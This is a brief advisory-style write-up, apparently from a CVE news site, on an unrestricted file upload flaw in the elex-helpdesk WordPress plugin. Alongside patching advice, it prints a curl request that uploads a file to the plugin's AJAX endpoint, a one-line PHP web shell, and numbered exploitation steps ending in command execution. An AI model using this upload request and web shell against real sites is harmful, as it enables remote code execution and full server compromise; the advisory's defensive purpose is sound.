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How the Mentioned CVE Works:
The vulnerability exists within the `elex-helpdesk` WordPress plugin’s file upload functionality, specifically in the `upload_files_ajax` action. The affected code does not properly validate the file extension or MIME type of user-supplied uploads before moving them to a publicly accessible web directory. An attacker can exploit this by crafting an HTTP POST request containing a malicious file, such as a PHP web shell, with a double extension (e.g., “shell.php.png”) or by manipulating the request headers. Since the plugin’s validation logic is insufficient or can be bypassed, the file is saved on the server with its original, dangerous extension. Consequently, the attacker can directly access the uploaded file via its URL, leading to remote code execution on the underlying web server with the privileges of the web service account.
dailycve form:
Platform: WordPress Plugin
Version: Through 3.2.7
Vulnerability: Unrestricted File Upload
Severity: Critical
Date: 2025-05-23
Prediction: Patch 2025-06-06
What Undercode Say:
curl -X POST -F "[email protected]" -F "action=elex_helpdesk_upload_files_ajax" https://target.com/wp-admin/admin-ajax.php
<?php system($_GET['cmd']); ?>
How Exploit:
Identify upload endpoint.
Craft malicious PHP file.
Bypass weak validation.
Upload file directly.
Access shell via URL.
Execute arbitrary commands.
Protection from this CVE:
Update plugin immediately.
Implement strong file validation.
Restrict executable permissions.
Use Web Application Firewall.
Apply server-side filtering.
Impact:
Full server compromise.
Remote code execution.
Data theft and manipulation.
Site defacement and backdoor.
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Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
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